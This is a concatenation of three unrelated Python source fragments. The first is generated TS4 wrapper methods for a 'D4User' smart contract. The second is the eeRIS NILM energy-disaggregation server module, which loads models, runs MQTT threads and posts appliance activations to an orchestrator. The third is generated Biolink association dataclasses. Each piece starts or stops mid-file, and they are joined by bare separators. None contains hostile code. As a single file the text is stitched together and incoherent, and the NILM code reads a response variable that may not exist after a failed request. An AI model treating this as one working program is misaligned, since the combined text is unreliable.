return self.C_.call_getter('certAcceptTransfer', {'target': target}, key=ts4_key, expect_ec=ts4_expect_ec, decode=ts4_decode, decoder=ts4_decoder)
def R_certAcceptTransfer(self, target, ts4_expect_ec=0):
"""
Wrapper for D4User.certAcceptTransfer raw getter
:rtype:
:param target: address
"""
return self.C_.call_getter_raw('certAcceptTransfer', {'target': target}, expect_ec=ts4_expect_ec)
def M_certAcceptTransfer(self, target, ts4_private_key=None, ts4_expect_ec=0, ts4_is_debot=False):
"""
Wrapper for D4User.certAcceptTransfer method call
:param target: address
"""
_r_ = self.C_.call_method('certAcceptTransfer', {'target': target}, private_key=ts4_private_key, expect_ec=ts4_expect_ec, is_debot=ts4_is_debot)
if WrapperGlobal.auto_dispatch_messages:
ts4.dispatch_messages()
return _r_
def S_certAcceptTransfer(self, target, ts4_expect_ec=0):
"""
Wrapper for D4User.certAcceptTransfer signed method call
:param target: address
"""
_r_ = self.C_.call_method_signed('certAcceptTransfer', {'target': target}, expect_ec=ts4_expect_ec)
if WrapperGlobal.auto_dispatch_messages:
ts4.dispatch_messages()
return _r_
def certRelinquishOwner(self, target, ts4_expect_ec=0, ts4_sign=False):
"""
Wrapper for D4User.certRelinquishOwner
:rtype:
:param target: address
"""
if ts4_sign:
return self.S_certRelinquishOwner(target, ts4_expect_ec=ts4_expect_ec)
else:
return self.M_certRelinquishOwner(target, ts4_expect_ec=ts4_expect_ec)
def G_certRelinquishOwner(self, target, ts4_key=None, ts4_expect_ec=0, ts4_decode=False, ts4_decoder=None):
"""
Wrapper for D4User.certRelinquishOwner getter
:rtype:
:param target: address
"""
return self.C_.call_getter('certRelinquishOwner', {'target': target}, key=ts4_key, expect_ec=ts4_expect_ec, decode=ts4_decode, decoder=ts4_decoder)
def R_certRelinquishOwner(self, target, ts4_expect_ec=0):
"""
Wrapper for D4User.certRelinquishOwner raw getter
:rtype:
:param target: address
"""
return self.C_.call_getter_raw('certRelinquishOwner', {'target': target}, expect_ec=ts4_expect_ec)
def M_certRelinquishOwner(self, target, ts4_private_key=None, ts4_expect_ec=0, ts4_is_debot=False):
"""
Wrapper for D4User.certRelinquishOwner method call
:param target: address
"""
_r_ = self.C_.call_method('certRelinquishOwner', {'target': target}, private_key=ts4_private_key, expect_ec=ts4_expect_ec, is_debot=ts4_is_debot)
if WrapperGlobal.auto_dispatch_messages:
ts4.dispatch_messages()
return _r_
def S_certRelinquishOwner(self, target, ts4_expect_ec=0):
"""
Wrapper for D4User.certRelinquishOwner signed method call
:param target: address
"""
_r_ = self.C_.call_method_signed('certRelinquishOwner', {'target': target}, expect_ec=ts4_expect_ec)
if WrapperGlobal.auto_dispatch_messages:
ts4.dispatch_messages()
return _r_
def addLocked(self, until, name, parent, ts4_expect_ec=0, ts4_sign=False):
"""
Wrapper for D4User.addLocked
:rtype:
:param until: uint32
:param name: bytes
:param parent: address
"""
if ts4_sign:
return self.S_addLocked(until, name, parent, ts4_expect_ec=ts4_expect_ec)
else:
return self.M_addLocked(until, name, parent, ts4_expect_ec=ts4_expect_ec)
def G_addLocked(self, until, name, parent, ts4_key=None, ts4_expect_ec=0, ts4_decode=False, ts4_decoder=None):
"""
Wrapper for D4User.addLocked getter
:rtype:
:param until: uint32
:param name: bytes
:param parent: address
"""
return self.C_.call_getter('addLocked', {'until': until, 'name': name, 'parent': parent}, key=ts4_key, expect_ec=ts4_expect_ec, decode=ts4_decode, decoder=ts4_decoder)
def R_addLocked(self, until, name, parent, ts4_expect_ec=0):
"""
Wrapper for D4User.addLocked raw getter
:rtype:
:param until: uint32
:param name: bytes
:param parent: address
"""
return self.C_.call_getter_raw('addLocked', {'until': until, 'name': name, 'parent': parent}, expect_ec=ts4_expect_ec)
def M_addLocked(self, until, name, parent, ts4_private_key=None, ts4_expect_ec=0, ts4_is_debot=False):
"""
Wrapper for D4User.addLocked method call
:param until: uint32
:param name: bytes
:param parent: address
"""
_r_ = self.C_.call_method('addLocked', {'until': until, 'name': name, 'parent': parent}, private_key=ts4_private_key, expect_ec=ts4_expect_ec, is_debot=ts4_is_debot)
if WrapperGlobal.auto_dispatch_messages:
ts4.dispatch_messages()
return _r_
def S_addLocked(self, until, name, parent, ts4_expect_ec=0):
"""
Wrapper for D4User.addLocked signed method call
:param until: uint32
:param name: bytes
:param parent: address
"""
_r_ = self.C_.call_method_signed('addLocked', {'until': until, 'name': name, 'parent': parent}, expect_ec=ts4_expect_ec)
if WrapperGlobal.auto_dispatch_messages:
ts4.dispatch_messages()
return _r_
def withdrawable(self, ts4_expect_ec=0, ts4_sign=False):
"""
Wrapper for D4User.withdrawable
:rtype: uint128
"""
return self.G_withdrawable(ts4_expect_ec=ts4_expect_ec)
def G_withdrawable(self, ts4_key=None, ts4_expect_ec=0, ts4_decode=False, ts4_decoder=None):
"""
Wrapper for D4User.withdrawable getter
:rtype: uint128
"""
return self.C_.call_getter('withdrawable', {}, key=ts4_key, expect_ec=ts4_expect_ec, decode=ts4_decode, decoder=ts4_decoder)
def R_withdrawable(self, ts4_expect_ec=0):
"""
Wrapper for D4User.withdrawable raw getter
:rtype: uint128
"""
return self.C_.call_getter_raw('withdrawable', {}, expect_ec=ts4_expect_ec)
def M_withdrawable(self, ts4_private_key=None, ts4_expect_ec=0, ts4_is_debot=False):
"""
Wrapper for D4User.withdrawable method call
"""
_r_ = self.C_.call_method('withdrawable', {}, private_key=ts4_private_key, expect_ec=ts4_expect_ec, is_debot=ts4_is_debot)
if WrapperGlobal.auto_dispatch_messages:
ts4.dispatch_messages()
return _r_
def S_withdrawable(self, ts4_expect_ec=0):
"""
Wrapper for D4User.withdrawable signed method call
"""
_r_ = self.C_.call_method_signed('withdrawable', {}, expect_ec=ts4_expect_ec)
if WrapperGlobal.auto_dispatch_messages:
ts4.dispatch_messages()
return _r_
def sweepLocks(self, ts4_expect_ec=0, ts4_sign=False):
"""
Wrapper for D4User.sweepLocks
:rtype:
"""
if ts4_sign:
return self.S_sweepLocks(ts4_expect_ec=ts4_expect_ec)
else:
return self.M_sweepLocks(ts4_expect_ec=ts4_expect_ec)
def G_sweepLocks(self, ts4_key=None, ts4_expect_ec=0, ts4_decode=False, ts4_decoder=None):
"""
Wrapper for D4User.sweepLocks getter
:rtype:
"""
return self.C_.call_getter('sweepLocks', {}, key=ts4_key, expect_ec=ts4_expect_ec, decode=ts4_decode, decoder=ts4_decoder)
def R_sweepLocks(self, ts4_expect_ec=0):
"""
Wrapper for D4User.sweepLocks raw getter
:rtype:
"""
return self.C_.call_getter_raw('sweepLocks', {}, expect_ec=ts4_expect_ec)
def M_sweepLocks(self, ts4_private_key=None, ts4_expect_ec=0, ts4_is_debot=False):
"""
Wrapper for D4User.sweepLocks method call
"""
_r_ = self.C_.call_method('sweepLocks', {}, private_key=ts4_private_key, expect_ec=ts4_expect_ec, is_debot=ts4_is_debot)
if WrapperGlobal.auto_dispatch_messages:
ts4.dispatch_messages()
return _r_
def S_sweepLocks(self, ts4_expect_ec=0):
"""
Wrapper for D4User.sweepLocks signed method call
"""
_r_ = self.C_.call_method_signed('sweepLocks', {}, expect_ec=ts4_expect_ec)
if WrapperGlobal.auto_dispatch_messages:
ts4.dispatch_messages()
return _r_
def withdraw(self, dest, value, ts4_expect_ec=0, ts4_sign=False):
"""
Wrapper for D4User.withdraw
:rtype:
:param dest: address
:param value: uint128
"""
if ts4_sign:
return self.S_withdraw(dest, value, ts4_expect_ec=ts4_expect_ec)
else:
return self.M_withdraw(dest, value, ts4_expect_ec=ts4_expect_ec)
def G_withdraw(self, dest, value, ts4_key=None, ts4_expect_ec=0, ts4_decode=False, ts4_decoder=None):
"""
Wrapper for D4User.withdraw getter
:rtype:
:param dest: address
:param value: uint128
"""
return self.C_.call_getter('withdraw', {'dest': dest, 'value': value}, key=ts4_key, expect_ec=ts4_expect_ec, decode=ts4_decode, decoder=ts4_decoder)
def R_withdraw(self, dest, value, ts4_expect_ec=0):
"""
Wrapper for D4User.withdraw raw getter
:rtype:
:param dest: address
:param value: uint128
"""
return self.C_.call_getter_raw('withdraw', {'dest': dest, 'value': value}, expect_ec=ts4_expect_ec)
def M_withdraw(self, dest, value, ts4_private_key=None, ts4_expect_ec=0, ts4_is_debot=False):
"""
Wrapper for D4User.withdraw method call
:param dest: address
:param value: uint128
"""
_r_ = self.C_.call_method('withdraw', {'dest': dest, 'value': value}, private_key=ts4_private_key, expect_ec=ts4_expect_ec, is_debot=ts4_is_debot)
if WrapperGlobal.auto_dispatch_messages:
ts4.dispatch_messages()
return _r_
def S_withdraw(self, dest, value, ts4_expect_ec=0):
"""
Wrapper for D4User.withdraw signed method call
:param dest: address
:param value: uint128
"""
_r_ = self.C_.call_method_signed('withdraw', {'dest': dest, 'value': value}, expect_ec=ts4_expect_ec)
if WrapperGlobal.auto_dispatch_messages:
ts4.dispatch_messages()
return _r_
def passToOwner(self, ts4_expect_ec=0, ts4_sign=False):
"""
Wrapper for D4User.passToOwner
:rtype:
"""
if ts4_sign:
return self.S_passToOwner(ts4_expect_ec=ts4_expect_ec)
else:
return self.M_passToOwner(ts4_expect_ec=ts4_expect_ec)
def G_passToOwner(self, ts4_key=None, ts4_expect_ec=0, ts4_decode=False, ts4_decoder=None):
"""
Wrapper for D4User.passToOwner getter
:rtype:
"""
return self.C_.call_getter('passToOwner', {}, key=ts4_key, expect_ec=ts4_expect_ec, decode=ts4_decode, decoder=ts4_decoder)
def R_passToOwner(self, ts4_expect_ec=0):
"""
Wrapper for D4User.passToOwner raw getter
:rtype:
"""
return self.C_.call_getter_raw('passToOwner', {}, expect_ec=ts4_expect_ec)
def M_passToOwner(self, ts4_private_key=None, ts4_expect_ec=0, ts4_is_debot=False):
"""
Wrapper for D4User.passToOwner method call
"""
_r_ = self.C_.call_method('passToOwner', {}, private_key=ts4_private_key, expect_ec=ts4_expect_ec, is_debot=ts4_is_debot)
if WrapperGlobal.auto_dispatch_messages:
ts4.dispatch_messages()
return _r_
def S_passToOwner(self, ts4_expect_ec=0):
"""
Wrapper for D4User.passToOwner signed method call
"""
_r_ = self.C_.call_method_signed('passToOwner', {}, expect_ec=ts4_expect_ec)
if WrapperGlobal.auto_dispatch_messages:
ts4.dispatch_messages()
return _r_
def sink(self, ts4_expect_ec=0, ts4_sign=False):
"""
Wrapper for D4User.sink
:rtype:
"""
if ts4_sign:
return self.S_sink(ts4_expect_ec=ts4_expect_ec)
else:
return self.M_sink(ts4_expect_ec=ts4_expect_ec)
def G_sink(self, ts4_key=None, ts4_expect_ec=0, ts4_decode=False, ts4_decoder=None):
"""
Wrapper for D4User.sink getter
:rtype:
"""
return self.C_.call_getter('sink', {}, key=ts4_key, expect_ec=ts4_expect_ec, decode=ts4_decode, decoder=ts4_decoder)
def R_sink(self, ts4_expect_ec=0):
"""
Wrapper for D4User.sink raw getter
:rtype:
"""
return self.C_.call_getter_raw('sink', {}, expect_ec=ts4_expect_ec)
def M_sink(self, ts4_private_key=None, ts4_expect_ec=0, ts4_is_debot=False):
"""
Wrapper for D4User.sink method call
"""
_r_ = self.C_.call_method('sink', {}, private_key=ts4_private_key, expect_ec=ts4_expect_ec, is_debot=ts4_is_debot)
if WrapperGlobal.auto_dispatch_messages:
ts4.dispatch_messages()
return _r_
def S_sink(self, ts4_expect_ec=0):
"""
Wrapper for D4User.sink signed method call
"""
_r_ = self.C_.call_method_signed('sink', {}, expect_ec=ts4_expect_ec)
if WrapperGlobal.auto_dispatch_messages:
ts4.dispatch_messages()
return _r_
def st_root(self, ts4_expect_ec=0, ts4_sign=False):
"""
Wrapper for D4User.st_root
:rtype: address
"""
return self.G_st_root(ts4_expect_ec=ts4_expect_ec)
def G_st_root(self, ts4_key=None, ts4_expect_ec=0, ts4_decode=False, ts4_decoder=None):
"""
Wrapper for D4User.st_root getter
:rtype: address
"""
return self.C_.call_getter('st_root', {}, key=ts4_key, expect_ec=ts4_expect_ec, decode=ts4_decode, decoder=ts4_decoder)
def R_st_root(self, | |
<filename>eeris_nilm/nilm.py
"""
Copyright 2020 <NAME>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
import falcon
import pandas as pd
import numpy as np
import datetime as dt
import dill
import json
import paho.mqtt.client as mqtt
import logging
import time
import datetime
import threading
import atexit
import requests
# import multiprocessing
from eeris_nilm import utils
from eeris_nilm.algorithms import livehart
from eeris_nilm.datasets import eeris
# TODO: Refactoring to break into eeris-specific and general-purpose components
# TODO: Support for multiple processes for specified list of installation ids
# TODO: Edit functionality for appliances
# TODO: Include checks for config keys
# TODO: Introduce URL checks and remove double slashes '//' that may result from
# the configuration strings.
class NILM(object):
"""
Class to handle streamed data processing for NILM in eeRIS. It also
maintains a document of the state of appliances in an installation.
"""
# How often (after how many updates) should we store the model
# persistently?
STORE_PERIOD = 100
# THREAD_PERIOD = 3600
THREAD_PERIOD = 900
MAX_REC_BUFFER = 12 * 3600
def __init__(self, mdb, config, response='cenote'):
"""
Parameters:
----------
mdb: pymongo.database.Database
PyMongo database instance for persistent storage and loading
config: configparser.ConfigParser
ConfigParser object with sections described in app.create_app()
"""
# Add state and configuration variables as needed
self._mdb = mdb
self._config = config
self._models = dict()
self._put_count = dict()
self._prev = 0.0
self._response = response
self._model_lock = dict()
self._recomputation_active = dict()
self._recomputation_thread = None
self._recomputation_buffer = dict()
self._mqtt_thread = None
self._p_thread = None
self._input_file_prefix = None
self._file_date_start = None
self._file_date_end = None
self._store_flag = False
# Configuration variables
# How are we receiving data
self._input_method = config['eeRIS']['input_method']
# Installation ids that we accept for processing
self._inst_list = \
[x.strip() for x in config['eeRIS']['inst_ids'].split(",")]
# Whether to send requests to orchestrator (True) or just print the
# requests (False)
self._orch_debug_mode = False
if 'debug_mode' in config['orchestrator'].keys():
self._orch_debug_mode = \
config['orchestrator'].getboolean('debug_mode')
# Orchestrator JWT pre-shared key
self._orch_jwt_psk = config['orchestrator']['jwt_psk']
# Orchestrator URL
orchestrator_url = config['orchestrator']['url']
# Endpoint to send device activations
url = orchestrator_url + '/' + config['orchestrator']['act_endpoint']
self._activations_url = url
logging.info('Activations URL: %s' % (self._activations_url))
# Recomputation data URL
url = orchestrator_url + '/' +\
config['orchestrator']['recomputation_endpoint']
self._computations_url = url
logging.info(self._computations_url)
url = orchestrator_url + '/' + \
config['orchestrator']['notif_endpoint_prefix'] + '/'
self._notifications_url = url
logging.info(self._notifications_url)
self._notifications_suffix = \
config['orchestrator']['notif_endpoint_suffix']
self._notifications_batch_suffix = \
config['orchestrator']['notif_batch_suffix']
# Prepare the models (redundant?)
logging.info('Loading models from database')
for inst_id in self._inst_list:
logging.debug('Loading %s' % (inst_id))
self._load_or_create_model(inst_id)
if config['eeRIS']['input_method'] == 'file':
self._input_file_prefix = config['FILE']['prefix']
self._file_date_start = config['FILE']['date_start']
self._file_date_end = config['FILE']['date_end']
self._file_thread = threading.Thread(target=self._process_file,
name='file', daemon=True)
self._file_thread.start()
if config['eeRIS']['input_method'] == 'mqtt':
self._mqtt_thread = threading.Thread(target=self._mqtt, name='mqtt',
daemon=True)
self._mqtt_thread.start()
logging.info("Registered mqtt thread")
# Initialize thread for sending activation data periodically (if thread
# = True in the eeRIS configuration section)
time.sleep(10)
thread = config['eeRIS'].getboolean('thread')
if thread:
self._periodic_thread(period=self.THREAD_PERIOD)
# We want to be able to cancel this. If we don't, remove this and
# just make it a daemon thread.
atexit.register(self._cancel_periodic_thread)
logging.info("Registered periodic thread")
def _accept_inst(self, inst_id):
if self._inst_list is None or inst_id in self._inst_list:
return True
else:
logging.warning(("Received installation id %s which is not in list."
"Ignoring.") % (inst_id))
return False
# TODO: Part of these operations should be in livehart (?)
def _load_or_create_model(self, inst_id):
# Load or create the model, if not available
if (inst_id not in self._models.keys()):
inst_doc = self._mdb.models.find_one({"meterId": inst_id})
if inst_doc is None:
logging.debug('Installation %s does not exist in database,'
'creating' % (inst_id))
modelstr = dill.dumps(
livehart.LiveHart(installation_id=inst_id)
)
dtime = dt.datetime.now().strftime('%Y-%m-%dT%H:%M:%S%z')
inst_doc = {'meterId': inst_id,
'lastUpdate': dtime,
'debugInstallation': True,
'modelHart': modelstr}
self._mdb.models.insert_one(inst_doc)
self._models[inst_id] = dill.loads(inst_doc['modelHart'])
self._models[inst_id]._lock = threading.Lock()
self._models[inst_id]._clustering_thread = None
self._models[inst_id].detected_appliance = None
self._model_lock[inst_id] = threading.Lock()
self._recomputation_active[inst_id] = False
self._recomputation_buffer[inst_id] = None
self._put_count[inst_id] = 0
if inst_id not in self._model_lock.keys():
self._model_lock[inst_id] = threading.Lock()
def _send_activations(self):
"""
Send activations to service responsible for storing appliance
activation events
Returns:
-------
out : dictionary of strings
The responses of _activations_url, if it has been provided, otherwise a
list of json objects with the appliance activations for each
installation. Keys of the dictionary are the installation ids.
"""
logging.info("Sending activations")
ret = {}
for inst_id, model in self._models.items():
logging.info("Activations for installation %s" % (inst_id))
if inst_id not in self._model_lock.keys():
self._model_lock[inst_id] = threading.Lock()
with self._model_lock[inst_id]:
payload = []
activations = {}
for a_k, a in model.appliances.items():
# For now, do not mark activations as sent (we'll do that
# only if data have been successfully sent)
activations[a_k] = a.return_new_activations(
update_ts=False)
for row in activations[a_k].itertuples():
# Energy consumption in kWh
# TODO: Correct consumption by reversing power
# normalization
consumption = (row.end - row.start).seconds / 3600.0 * \
row.active / 1000.0
b = {
"data":
{
"installationid": inst_id,
"deviceid": a.appliance_id,
"start": row.start.timestamp() * 1000,
"end": row.end.timestamp() * 1000,
"consumption": consumption,
"algorithm_id": model.VERSION
}
}
payload.append(b)
body = {
"payload": payload
}
logging.debug('Activations body: %s' % (json.dumps(body)))
# Send stuff, outside lock (to avoid unnecessary delays)
if self._activations_url is not None and \
not self._orch_debug_mode:
# Create a JWT for the orchestrator (alternatively, we can
# do this only when token has expired)
self._orch_token = utils.get_jwt('nilm', self._orch_jwt_psk)
# Change data= to json= depending on the orchestrator setup
try:
resp = requests.post(self._activations_url,
data=json.dumps(body),
headers={'Authorization': 'jwt %s' %
(self._orch_token)})
except Exception as e:
logging.warning("Sending of activations failed!")
logging.warning("Exception type: %s" % (str(type(e))))
logging.warning(e)
if not resp.ok:
logging.error(
"Sending of activation data for %s failed: (%d, %s)"
% (inst_id, resp.status_code, resp.text)
)
ret[inst_id] = resp
else:
# Everything went well, mark the activations as sent
with self._model_lock[inst_id]:
for a_k, a in model.appliances.items():
if activations[a_k].empty:
continue
# Should never happen
if a_k not in activations:
logging.warning('Appliance key %s not'
'found in model' % (a_k))
continue
else:
# Just making sure
activations[a_k].sort_values('end',
ascending=True,
ignore_index=True)
a.last_returned_end_ts = \
(activations[a_k])['end'].iloc[-1]
logging.info(
"Activations for %s sent successfully", inst_id)
ret[inst_id] = \
json.dumps(body)
else:
# Assume everything went well (simulate), and mark activations
# as sent
with self._model_lock[inst_id]:
for a_k, a in model.appliances.items():
if activations[a_k].empty:
continue
# Should never happen
if a_k not in activations:
logging.warning('Appliance key %s not'
'found in model' % (a_k))
continue
else:
# Just making sure
activations[a_k].sort_values('end',
ascending=True,
ignore_index=True)
a.last_returned_end_ts = \
(activations[a_k])['end'].iloc[-1]
logging.debug('Appliance %s: Last return ts: %s'
% (a.appliance_id,
str(a.last_returned_end_ts)))
logging.debug(
"Activations for %s marked (debug)", inst_id)
ret[inst_id] = json.dumps(body)
# Move on to the next installation
logging.info(
"Done sending activations of installation %s" % (inst_id))
return ret
def _cancel_periodic_thread(self):
"""Stop clustering thread when the app terminates."""
if self._p_thread is not None:
self._p_thread.cancel()
def _periodic_thread(self, period=3600, clustering=False):
"""
Start a background thread which will send activations for storage and
optionally perform clustering in all loaded models at regular intervals.
Parameters
----------
period : int
Call the clustering thread every 'period' seconds.
clustering : bool
Perform clustering or not.
"""
logging.info("Starting periodic thread.")
if clustering:
self.perform_clustering()
# Wait 5 minutes, in case clustering is completed within this time.
time.sleep(300)
# Send activations
try:
act_result = self._send_activations()
logging.info("Activations report:")
logging.info(act_result)
except Exception as e:
logging.warning("Sending of activations failed!")
logging.warning("Exception type: %s" % (str(type(e))))
logging.warning(e)
# Continue
# Submit new thread
self._p_thread = threading.Timer(period, self._periodic_thread,
kwargs={'period': period})
self._p_thread.daemon = True
self._p_thread.start()
def _handle_notifications(self, model):
"""
Helper function to assist in sending of notifications to the
orchestrator, when unnamed appliances are detected.
"""
if model.detected_appliance is None:
# No appliance was detected, do nothing
return
body = {
"_id": model.detected_appliance.appliance_id,
"name": model.detected_appliance.name,
"type": model.detected_appliance.category,
"active": model.detected_appliance.signature[0, 0],
"reactive": model.detected_appliance.signature[0, 1],
"status": "true"
}
inst_id = model.installation_id
logging.info("Sending notification data:")
# TODO: Only when expired?
self._orch_token = utils.get_jwt('nilm', self._orch_jwt_psk)
if not self._orch_debug_mode:
url = self._notifications_url + inst_id + '/' + \
self._notifications_suffix
try:
resp = requests.post(url, data=json.dumps(body),
headers={'Authorization': 'jwt %s' %
(self._orch_token)})
except Exception as e:
| |
This mixin is used for any association class for which the subject (source node) plays the role of a 'model', in
that it recapitulates some features of the disease in a way that is useful for studying the disease outside a
patient carrying the disease
"""
_inherited_slots: ClassVar[List[str]] = []
class_class_uri: ClassVar[URIRef] = BIOLINK.ModelToDiseaseAssociationMixin
class_class_curie: ClassVar[str] = "biolink:ModelToDiseaseAssociationMixin"
class_name: ClassVar[str] = "model to disease association mixin"
class_model_uri: ClassVar[URIRef] = BIOLINK.ModelToDiseaseAssociationMixin
subject: Union[str, NamedThingId] = None
predicate: Union[str, PredicateType] = None
def __post_init__(self, *_: List[str], **kwargs: Dict[str, Any]):
if self._is_empty(self.subject):
self.MissingRequiredField("subject")
if not isinstance(self.subject, NamedThingId):
self.subject = NamedThingId(self.subject)
if self._is_empty(self.predicate):
self.MissingRequiredField("predicate")
if not isinstance(self.predicate, PredicateType):
self.predicate = PredicateType(self.predicate)
super().__post_init__(**kwargs)
@dataclass
class GeneAsAModelOfDiseaseAssociation(GeneToDiseaseAssociation):
_inherited_slots: ClassVar[List[str]] = []
class_class_uri: ClassVar[URIRef] = BIOLINK.GeneAsAModelOfDiseaseAssociation
class_class_curie: ClassVar[str] = "biolink:GeneAsAModelOfDiseaseAssociation"
class_name: ClassVar[str] = "gene as a model of disease association"
class_model_uri: ClassVar[URIRef] = BIOLINK.GeneAsAModelOfDiseaseAssociation
id: Union[str, GeneAsAModelOfDiseaseAssociationId] = None
predicate: Union[str, PredicateType] = None
object: Union[str, NamedThingId] = None
subject: Union[dict, GeneOrGeneProduct] = None
def __post_init__(self, *_: List[str], **kwargs: Dict[str, Any]):
if self._is_empty(self.id):
self.MissingRequiredField("id")
if not isinstance(self.id, GeneAsAModelOfDiseaseAssociationId):
self.id = GeneAsAModelOfDiseaseAssociationId(self.id)
if self._is_empty(self.subject):
self.MissingRequiredField("subject")
if not isinstance(self.subject, GeneOrGeneProduct):
self.subject = GeneOrGeneProduct(**self.subject)
super().__post_init__(**kwargs)
@dataclass
class VariantAsAModelOfDiseaseAssociation(VariantToDiseaseAssociation):
_inherited_slots: ClassVar[List[str]] = []
class_class_uri: ClassVar[URIRef] = BIOLINK.VariantAsAModelOfDiseaseAssociation
class_class_curie: ClassVar[str] = "biolink:VariantAsAModelOfDiseaseAssociation"
class_name: ClassVar[str] = "variant as a model of disease association"
class_model_uri: ClassVar[URIRef] = BIOLINK.VariantAsAModelOfDiseaseAssociation
id: Union[str, VariantAsAModelOfDiseaseAssociationId] = None
predicate: Union[str, PredicateType] = None
object: Union[str, NamedThingId] = None
subject: Union[str, SequenceVariantId] = None
def __post_init__(self, *_: List[str], **kwargs: Dict[str, Any]):
if self._is_empty(self.id):
self.MissingRequiredField("id")
if not isinstance(self.id, VariantAsAModelOfDiseaseAssociationId):
self.id = VariantAsAModelOfDiseaseAssociationId(self.id)
if self._is_empty(self.subject):
self.MissingRequiredField("subject")
if not isinstance(self.subject, SequenceVariantId):
self.subject = SequenceVariantId(self.subject)
super().__post_init__(**kwargs)
@dataclass
class GenotypeAsAModelOfDiseaseAssociation(GenotypeToDiseaseAssociation):
_inherited_slots: ClassVar[List[str]] = []
class_class_uri: ClassVar[URIRef] = BIOLINK.GenotypeAsAModelOfDiseaseAssociation
class_class_curie: ClassVar[str] = "biolink:GenotypeAsAModelOfDiseaseAssociation"
class_name: ClassVar[str] = "genotype as a model of disease association"
class_model_uri: ClassVar[URIRef] = BIOLINK.GenotypeAsAModelOfDiseaseAssociation
id: Union[str, GenotypeAsAModelOfDiseaseAssociationId] = None
predicate: Union[str, PredicateType] = None
object: Union[str, NamedThingId] = None
subject: Union[str, GenotypeId] = None
def __post_init__(self, *_: List[str], **kwargs: Dict[str, Any]):
if self._is_empty(self.id):
self.MissingRequiredField("id")
if not isinstance(self.id, GenotypeAsAModelOfDiseaseAssociationId):
self.id = GenotypeAsAModelOfDiseaseAssociationId(self.id)
if self._is_empty(self.subject):
self.MissingRequiredField("subject")
if not isinstance(self.subject, GenotypeId):
self.subject = GenotypeId(self.subject)
super().__post_init__(**kwargs)
@dataclass
class CellLineAsAModelOfDiseaseAssociation(CellLineToDiseaseOrPhenotypicFeatureAssociation):
_inherited_slots: ClassVar[List[str]] = []
class_class_uri: ClassVar[URIRef] = BIOLINK.CellLineAsAModelOfDiseaseAssociation
class_class_curie: ClassVar[str] = "biolink:CellLineAsAModelOfDiseaseAssociation"
class_name: ClassVar[str] = "cell line as a model of disease association"
class_model_uri: ClassVar[URIRef] = BIOLINK.CellLineAsAModelOfDiseaseAssociation
id: Union[str, CellLineAsAModelOfDiseaseAssociationId] = None
predicate: Union[str, PredicateType] = None
object: Union[str, NamedThingId] = None
subject: Union[str, CellLineId] = None
def __post_init__(self, *_: List[str], **kwargs: Dict[str, Any]):
if self._is_empty(self.id):
self.MissingRequiredField("id")
if not isinstance(self.id, CellLineAsAModelOfDiseaseAssociationId):
self.id = CellLineAsAModelOfDiseaseAssociationId(self.id)
if self._is_empty(self.subject):
self.MissingRequiredField("subject")
if not isinstance(self.subject, CellLineId):
self.subject = CellLineId(self.subject)
super().__post_init__(**kwargs)
@dataclass
class OrganismalEntityAsAModelOfDiseaseAssociation(Association):
_inherited_slots: ClassVar[List[str]] = []
class_class_uri: ClassVar[URIRef] = BIOLINK.OrganismalEntityAsAModelOfDiseaseAssociation
class_class_curie: ClassVar[str] = "biolink:OrganismalEntityAsAModelOfDiseaseAssociation"
class_name: ClassVar[str] = "organismal entity as a model of disease association"
class_model_uri: ClassVar[URIRef] = BIOLINK.OrganismalEntityAsAModelOfDiseaseAssociation
id: Union[str, OrganismalEntityAsAModelOfDiseaseAssociationId] = None
predicate: Union[str, PredicateType] = None
object: Union[str, NamedThingId] = None
subject: Union[str, OrganismalEntityId] = None
def __post_init__(self, *_: List[str], **kwargs: Dict[str, Any]):
if self._is_empty(self.id):
self.MissingRequiredField("id")
if not isinstance(self.id, OrganismalEntityAsAModelOfDiseaseAssociationId):
self.id = OrganismalEntityAsAModelOfDiseaseAssociationId(self.id)
if self._is_empty(self.subject):
self.MissingRequiredField("subject")
if not isinstance(self.subject, OrganismalEntityId):
self.subject = OrganismalEntityId(self.subject)
super().__post_init__(**kwargs)
@dataclass
class OrganismToOrganismAssociation(Association):
_inherited_slots: ClassVar[List[str]] = []
class_class_uri: ClassVar[URIRef] = BIOLINK.OrganismToOrganismAssociation
class_class_curie: ClassVar[str] = "biolink:OrganismToOrganismAssociation"
class_name: ClassVar[str] = "organism to organism association"
class_model_uri: ClassVar[URIRef] = BIOLINK.OrganismToOrganismAssociation
id: Union[str, OrganismToOrganismAssociationId] = None
predicate: Union[str, PredicateType] = None
subject: Union[str, IndividualOrganismId] = None
object: Union[str, IndividualOrganismId] = None
relation: Optional[str] = None
def __post_init__(self, *_: List[str], **kwargs: Dict[str, Any]):
if self._is_empty(self.id):
self.MissingRequiredField("id")
if not isinstance(self.id, OrganismToOrganismAssociationId):
self.id = OrganismToOrganismAssociationId(self.id)
if self._is_empty(self.subject):
self.MissingRequiredField("subject")
if not isinstance(self.subject, IndividualOrganismId):
self.subject = IndividualOrganismId(self.subject)
if self._is_empty(self.object):
self.MissingRequiredField("object")
if not isinstance(self.object, IndividualOrganismId):
self.object = IndividualOrganismId(self.object)
if self.relation is not None and not isinstance(self.relation, str):
self.relation = str(self.relation)
super().__post_init__(**kwargs)
@dataclass
class TaxonToTaxonAssociation(Association):
_inherited_slots: ClassVar[List[str]] = []
class_class_uri: ClassVar[URIRef] = BIOLINK.TaxonToTaxonAssociation
class_class_curie: ClassVar[str] = "biolink:TaxonToTaxonAssociation"
class_name: ClassVar[str] = "taxon to taxon association"
class_model_uri: ClassVar[URIRef] = BIOLINK.TaxonToTaxonAssociation
id: Union[str, TaxonToTaxonAssociationId] = None
predicate: Union[str, PredicateType] = None
subject: Union[str, OrganismTaxonId] = None
object: Union[str, OrganismTaxonId] = None
relation: Optional[str] = None
def __post_init__(self, *_: List[str], **kwargs: Dict[str, Any]):
if self._is_empty(self.id):
self.MissingRequiredField("id")
if not isinstance(self.id, TaxonToTaxonAssociationId):
self.id = TaxonToTaxonAssociationId(self.id)
if self._is_empty(self.subject):
self.MissingRequiredField("subject")
if not isinstance(self.subject, OrganismTaxonId):
self.subject = OrganismTaxonId(self.subject)
if self._is_empty(self.object):
self.MissingRequiredField("object")
if not isinstance(self.object, OrganismTaxonId):
self.object = OrganismTaxonId(self.object)
if self.relation is not None and not isinstance(self.relation, str):
self.relation = str(self.relation)
super().__post_init__(**kwargs)
